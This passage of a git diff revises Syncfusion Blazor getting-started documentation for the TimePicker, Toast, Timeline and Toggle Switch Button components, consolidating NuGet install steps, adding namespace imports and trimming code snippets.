@@ -169,4 +169,4 @@ The `Template` context receives the following information:
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hDBIitWNVdDBCoBz?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Timeline Component with Template](./images/Blazor-template.png)" %}
\ No newline at end of file
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hDBIitWNVdDBCoBz?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Timeline Component with Template](./images/Blazor-template.webp)" %}
\ No newline at end of file
diff --git a/blazor/timepicker/getting-started-webapp.md b/blazor/timepicker/getting-started-webapp.md
index 69bab28bf3..7684bad20e 100644
--- a/blazor/timepicker/getting-started-webapp.md
+++ b/blazor/timepicker/getting-started-webapp.md
@@ -167,6 +167,8 @@ N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssem
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.Calendars
+
 <SfTimePicker TValue="DateTime?" PlaceHolder="Select a time"></SfTimePicker>
 
 {% endhighlight %}
@@ -187,6 +189,8 @@ The below code demonstrates how to render TimePicker component in 24 hours Forma
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.Calendars
+
 <SfTimePicker TValue="DateTime?" Value="@TimeValue" Step=60 Format="HH:mm"></SfTimePicker>
 
 @code {
diff --git a/blazor/timepicker/getting-started.md b/blazor/timepicker/getting-started.md
index bd2520f399..5a5ba947d8 100644
--- a/blazor/timepicker/getting-started.md
+++ b/blazor/timepicker/getting-started.md
@@ -9,9 +9,7 @@ documentation: ug
 
 # Getting Started with Blazor TimePicker Component
 
-This section briefly explains about how to include [Blazor TimePicker](https://www.syncfusion.com/blazor-components/blazor-timepicker) component in a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
-
-To get start quickly with Blazor TimePicker component, refer to this [GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/TimePicker) sample.
+This section briefly explains about how to include [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TimePicker](https://www.syncfusion.com/blazor-components/blazor-timepicker) component in a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
 
 {% tabcontents %}
 
@@ -25,23 +23,6 @@ To get start quickly with Blazor TimePicker component, refer to this [GitHub](ht
 
 Create a **Blazor WebAssembly App** using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app) documentation.
 
-![Blazor WASM Create Project Template](images/blazor-wasm-app-template.png)
-
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Calendars and Themes NuGet in the App
-
-To add the **Blazor TimePicker** component in the app, open the NuGet package manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), then search and install [Syncfusion.Blazor.Calendars](https://www.nuget.org/packages/Syncfusion.Blazor.Calendars) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/). Alternatively, run the following commands in the Package Manager Console to achieve the same.
-
-{% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
-
-Install-Package Syncfusion.Blazor.Calendars -Version {{ site.releaseversion }}
-Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-
-{% endhighlight %}
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent Visual Studio Code %}
@@ -54,7 +35,7 @@ N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are availa
 
 Create a **Blazor WebAssembly App** using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vsc) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=visual-studio-code) documentation.
 
-Alternatively, create a WebAssembly application by using the following command in the integrated terminal(<kbd>Ctrl</kbd>+<kbd>`</kbd>).
+Alternatively, create a WebAssembly application by using the following command in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>).
 
 {% tabs %}
 
@@ -67,26 +48,6 @@ cd BlazorApp
 
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Calendars and Themes NuGet in the App
-
-* Press <kbd>Ctrl</kbd>+<kbd>`</kbd> to open the integrated terminal in Visual Studio Code.
-* Ensure in the project root directory where the `.csproj` file is located.
-* Run the following command to install the [Syncfusion.Blazor.Calendars](https://www.nuget.org/packages/Syncfusion.Blazor.Calendars) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages and ensure all dependencies are installed.
-
-{% tabs %}
-
-{% highlight c# tabtitle="Package Manager" %}
-
-dotnet add package Syncfusion.Blazor.Calendars -v {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -v {{ site.releaseversion }}
-dotnet restore
-
-{% endhighlight %}
-
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent .NET CLI %}
@@ -105,7 +66,7 @@ dotnet --version
 
 ## Create a Blazor WebAssembly App using .NET CLI
 
-Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to [this Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
+Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
 
 {% tabs %}
 {% highlight c# tabtitle=".NET CLI" %}
@@ -116,29 +77,30 @@ cd BlazorApp
 {% endhighlight %}
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Calendars and Themes NuGet in the App
+{% endtabcontent %}
 
-To add the **Blazor TimePicker** component to the application, run the following commands in a command prompt (Windows), command shell (Linux), or terminal (macOS) to install the [Syncfusion.Blazor.Calendars](https://www.nuget.org/packages/Syncfusion.Blazor.Calendars/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages. See [Install and manage packages using the dotnet CLI](https://learn.microsoft.com/en-us/nuget/consume-packages/install-use-packages-dotnet-cli) for more details.
+{% endtabcontents %}
+
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
+
+Install [Syncfusion.Blazor.Calendars](https://www.nuget.org/packages/Syncfusion.Blazor.Calendars/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
+
+Alternatively, run the following commands in the Package Manager Console to achieve the same.
 
 {% tabs %}
-{% highlight c# tabtitle=".NET CLI" %}
+{% highlight C# tabtitle="Package Manager" %}
 
-dotnet add package Syncfusion.Blazor.Calendars -Version {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-dotnet restore
+Install-Package Syncfusion.Blazor.Calendars -Version {{ site.releaseversion }}
+Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
 
 {% endhighlight %}
 {% endtabs %}
 
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
+N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
 
-{% endtabcontent %}
-
-{% endtabcontents %}
+## Add import namespaces
 
-## Add Import Namespaces
-
-Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Calendars` namespaces.
+After the packages are installed, open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Calendars` namespaces.
 
 {% tabs %}
 {% highlight C# tabtitle="~/_Imports.razor" %}
@@ -149,25 +111,17 @@ Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncf
 {% endhighlight %}
 {% endtabs %}
 
-## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service
+## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
-Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service in the **~/Program.cs** file of the Blazor WebAssembly App.
+Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **Program.cs** file of your Blazor WebAssembly App.
 
 {% tabs %}
-{% highlight C# tabtitle="~/Program.cs" hl_lines="3 11" %}
+{% highlight C# tabtitle="Program.cs" %}
 
-using Microsoft.AspNetCore.Components.Web;
-using Microsoft.AspNetCore.Components.WebAssembly.Hosting;
+....
 using Syncfusion.Blazor;
-
-var builder = WebAssemblyHostBuilder.CreateDefault(args);
-builder.RootComponents.Add<App>("#app");
-builder.RootComponents.Add<HeadOutlet>("head::after");
-
-builder.Services.AddScoped(sp => new HttpClient { BaseAddress = new Uri(builder.HostEnvironment.BaseAddress) });
-
+....
 builder.Services.AddSyncfusionBlazor();
-await builder.Build().RunAsync();
 ....
 
 {% endhighlight %}
@@ -175,24 +129,28 @@ await builder.Build().RunAsync();
 
 ## Add stylesheet and script resources
 
-The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references within the `<head>` section of the **~/index.html** file.
+The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the **~/index.html** file.
 
 ```html
-<head>
-    ....
-    <link href="_content/Syncfusion.Blazor.Themes/bootstrap5.css" rel="stylesheet" />
-    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
-</head>
+
+<link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
+....
+<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
+
 ```
 
-N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in Blazor application.
+N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in the Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in the Blazor application.
 
-## Add Blazor TimePicker component
+## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TimePicker component
 
 Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TimePicker component in the **~/Pages/Index.razor** file.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
+
+@using Syncfusion.Blazor.Calendars
+
+@using Syncfusion.Blazor.Calendars
 
 <SfTimePicker TValue="DateTime?" PlaceHolder="Select a time"></SfTimePicker>
 
@@ -210,7 +168,9 @@ Time format is a way of representing the time value in different string format i
 The below code demonstrates how to render TimePicker component in 24 hours Format with 60 minutes interval. The time interval is set to 60 minutes by using the [Step](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Calendars.SfTimePicker-1.html#Syncfusion_Blazor_Calendars_SfTimePicker_1_Step) property.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
+
+@using Syncfusion.Blazor.Calendars
 
 <SfTimePicker TValue="DateTime?" Value="@TimeValue" Step=60 Format="HH:mm"></SfTimePicker>
 
@@ -223,7 +183,9 @@ The below code demonstrates how to render TimePicker component in 24 hours Forma
 
 {% previewsample "https://blazorplayground.syncfusion.com/embed/LXVpXCUtfRjicUbp?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor TimePicker with Time Format](./images/blazor-timepicker-time-format.png)" %}
 
-## See Also
+N> [View sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/TimePicker).
+
+## See also
 
 * [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for Client-Side in .NET Core CLI](../getting-started/getting-started/blazor-webassembly-app)
 * [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for Server-side in Visual Studio](../getting-started/blazor-server-side-visual-studio)
diff --git a/blazor/toast/getting-started-webapp.md b/blazor/toast/getting-started-webapp.md
index 5c2a542fc6..a72c9dcc89 100644
--- a/blazor/toast/getting-started-webapp.md
+++ b/blazor/toast/getting-started-webapp.md
@@ -167,6 +167,8 @@ N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssem
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.Notifications
+
 <div class="col-lg-12 control-section toast-default-section">
     <SfToast ID="toast_default" @ref="ToastObj" Title="Adaptive Tiles Meeting" Content="@ToastContent" Timeout="5000" Icon="e-meeting">
         <ToastPosition X="@ToastPosition"></ToastPosition>
diff --git a/blazor/toast/getting-started.md b/blazor/toast/getting-started.md
index 65f14d9b73..535d862b55 100644
--- a/blazor/toast/getting-started.md
+++ b/blazor/toast/getting-started.md
@@ -9,9 +9,7 @@ documentation: ug
 
 # Getting Started with Blazor Toast Component
 
-This section explains how to add the [Blazor Toast](https://www.syncfusion.com/blazor-components/blazor-toast) component in a Blazor WebAssembly app using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
-
-To get start quickly with Blazor Toast component, refer to this [GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/Toast) sample.
+This section briefly explains about how to include [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Toast](https://www.syncfusion.com/blazor-components/blazor-toast) component in a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
 
 {% tabcontents %}
 
@@ -19,42 +17,25 @@ To get start quickly with Blazor Toast component, refer to this [GitHub](https:/
 
 ## Prerequisites
 
-- [System requirements for Blazor components](https://blazor.syncfusion.com/documentation/system-requirements)
+* [System requirements for Blazor components](https://blazor.syncfusion.com/documentation/system-requirements)
 
 ## Create a new Blazor App in Visual Studio
 
 Create a **Blazor WebAssembly App** using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app) documentation.
 
-![Blazor WASM Create Project Template](images/blazor-wasm-app-template.png)
-
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Notifications and Themes NuGet in the App
-
-To add the **Blazor Toast** component in the app, open the NuGet package manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), then search and install [Syncfusion.Blazor.Notifications](https://www.nuget.org/packages/Syncfusion.Blazor.Notifications) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/). Alternatively, run the following commands in the Package Manager Console to achieve the same.
-
-{% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
-
-Install-Package Syncfusion.Blazor.Notifications -Version {{ site.releaseversion }}
-Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-
-{% endhighlight %}
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent Visual Studio Code %}
 
 ## Prerequisites
 
-- [System requirements for Blazor components](https://blazor.syncfusion.com/documentation/system-requirements)
+* [System requirements for Blazor components](https://blazor.syncfusion.com/documentation/system-requirements)
 
 ## Create a new Blazor App in Visual Studio Code
 
 Create a **Blazor WebAssembly App** using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vsc) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=visual-studio-code) documentation.
 
-Alternatively, create a WebAssembly application by using the following command in the integrated terminal(<kbd>Ctrl</kbd>+<kbd>`</kbd>).
+Alternatively, create a WebAssembly application by using the following command in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>).
 
 {% tabs %}
 
@@ -67,26 +48,6 @@ cd BlazorApp
 
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Notifications and Themes NuGet in the App
-
-* Press <kbd>Ctrl</kbd>+<kbd>`</kbd> to open the integrated terminal in Visual Studio Code.
-* Ensure in the project root directory where the `.csproj` file is located.
-* Run the following command to install the [Syncfusion.Blazor.Notifications](https://www.nuget.org/packages/Syncfusion.Blazor.Notifications) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages and ensure all dependencies are installed.
-
-{% tabs %}
-
-{% highlight c# tabtitle="Package Manager" %}
-
-dotnet add package Syncfusion.Blazor.Notifications -v {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -v {{ site.releaseversion }}
-dotnet restore
-
-{% endhighlight %}
-
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent .NET CLI %}
@@ -105,7 +66,7 @@ dotnet --version
 
 ## Create a Blazor WebAssembly App using .NET CLI
 
-Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to [this Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
+Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
 
 {% tabs %}
 {% highlight c# tabtitle=".NET CLI" %}
@@ -116,29 +77,30 @@ cd BlazorApp
 {% endhighlight %}
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Notifications and Themes NuGet in the App
+{% endtabcontent %}
+
+{% endtabcontents %}
 
-To add the **Blazor Toast** component to the application, run the following commands in a command prompt (Windows), command shell (Linux), or terminal (macOS) to install the [Syncfusion.Blazor.Notifications](https://www.nuget.org/packages/Syncfusion.Blazor.Notifications/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages. See [Install and manage packages using the dotnet CLI](https://learn.microsoft.com/en-us/nuget/consume-packages/install-use-packages-dotnet-cli) for more details.
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
+
+Install [Syncfusion.Blazor.Notifications](https://www.nuget.org/packages/Syncfusion.Blazor.Notifications/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
+
+Alternatively, run the following commands in the Package Manager Console to achieve the same.
 
 {% tabs %}
-{% highlight c# tabtitle=".NET CLI" %}
+{% highlight C# tabtitle="Package Manager" %}
 
-dotnet add package Syncfusion.Blazor.Notifications -Version {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-dotnet restore
+Install-Package Syncfusion.Blazor.Notifications -Version {{ site.releaseversion }}
+Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
 
 {% endhighlight %}
 {% endtabs %}
 
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
-{% endtabcontent %}
-
-{% endtabcontents %}
+N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
 
-## Add Import Namespaces
+## Add import namespaces
 
-Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Notifications` namespaces.
+After the packages are installed, open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Notifications` namespaces.
 
 {% tabs %}
 {% highlight C# tabtitle="~/_Imports.razor" %}
@@ -149,25 +111,17 @@ Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncf
 {% endhighlight %}
 {% endtabs %}
 
-## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service
+## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
-Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service in the **~/Program.cs** file of the Blazor WebAssembly App.
+Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **Program.cs** file of your Blazor WebAssembly App.
 
 {% tabs %}
-{% highlight C# tabtitle="~/Program.cs" hl_lines="3 11" %}
+{% highlight C# tabtitle="Program.cs" %}
 
-using Microsoft.AspNetCore.Components.Web;
-using Microsoft.AspNetCore.Components.WebAssembly.Hosting;
+....
 using Syncfusion.Blazor;
-
-var builder = WebAssemblyHostBuilder.CreateDefault(args);
-builder.RootComponents.Add<App>("#app");
-builder.RootComponents.Add<HeadOutlet>("head::after");
-
-builder.Services.AddScoped(sp => new HttpClient { BaseAddress = new Uri(builder.HostEnvironment.BaseAddress) });
-
+....
 builder.Services.AddSyncfusionBlazor();
-await builder.Build().RunAsync();
 ....
 
 {% endhighlight %}
@@ -175,24 +129,26 @@ await builder.Build().RunAsync();
 
 ## Add stylesheet and script resources
 
-The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references within the `<head>` section of the **~/index.html** file.
+The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the **~/index.html** file.
 
 ```html
-<head>
-    <!-- ... -->
-    <link href="_content/Syncfusion.Blazor.Themes/bootstrap5.css" rel="stylesheet" />
-    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
-</head>
+
+<link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
+....
+<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
+
 ```
 
-N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in Blazor application.
+N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in the Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in the Blazor application.
 
-## Add Blazor Toast component
+## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Toast component
 
 Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Toast component in the **~/Pages/Index.razor** file.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
+
+@using Syncfusion.Blazor.Notifications
 
 <div class="col-lg-12 control-section toast-default-section">
     <SfToast ID="toast_default" @ref="ToastObj" Title="Adaptive Tiles Meeting" Content="@ToastContent" Timeout="5000" Icon="e-meeting">
@@ -241,7 +197,9 @@ Launch the application with <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘<
 
 {% previewsample "https://blazorplayground.syncfusion.com/embed/VDrzNiKXJRibajXZ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Toast Component](./images/blazor-toast.png)" %}
 
-## See Also
+N> [View sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/Toast).
+
+## See also
 
 - [Show or hide toast from any page using service in Blazor](https://support.syncfusion.com/kb/article/11734/show-or-hide-toast-from-any-page-using-service-in-blazor)
 - [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor WebAssembly App in Visual Studio or .NET CLI](../getting-started/blazor-webassembly-dotnet-cli)
diff --git a/blazor/toggle-switch-button/getting-started-webapp.md b/blazor/toggle-switch-button/getting-started-webapp.md
index 730c608e2c..cfff2a99cd 100644
--- a/blazor/toggle-switch-button/getting-started-webapp.md
+++ b/blazor/toggle-switch-button/getting-started-webapp.md
@@ -167,6 +167,8 @@ N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssem
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.Buttons
+
 <label for="checked" style="padding: 10px 10px 10px 0">USB Tethering</label>
 
 <SfSwitch Name="checked" @bind-Checked="isChecked"></SfSwitch>
@@ -189,6 +191,8 @@ On and Off text can be set using [OnLabel](https://help.syncfusion.com/cr/blazor
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.Buttons
+
 <SfSwitch @bind-Checked="isChecked" OnLabel="On" OffLabel="Off"></SfSwitch>
 
 @code {
diff --git a/blazor/toggle-switch-button/getting-started.md b/blazor/toggle-switch-button/getting-started.md
index 5df8a69942..ae9f1a8969 100644
--- a/blazor/toggle-switch-button/getting-started.md
+++ b/blazor/toggle-switch-button/getting-started.md
@@ -11,9 +11,7 @@ documentation: ug
 
 # Getting Started with Blazor Toggle Switch Button Component
 
-This section briefly explains about how to include [Blazor Toggle Switch Button](https://www.syncfusion.com/blazor-components/blazor-toggle-switch-button) component in a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
-
-To get start quickly with Blazor Toggle Switch Button component, refer to this [GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/ToggleSwitchButton) sample.
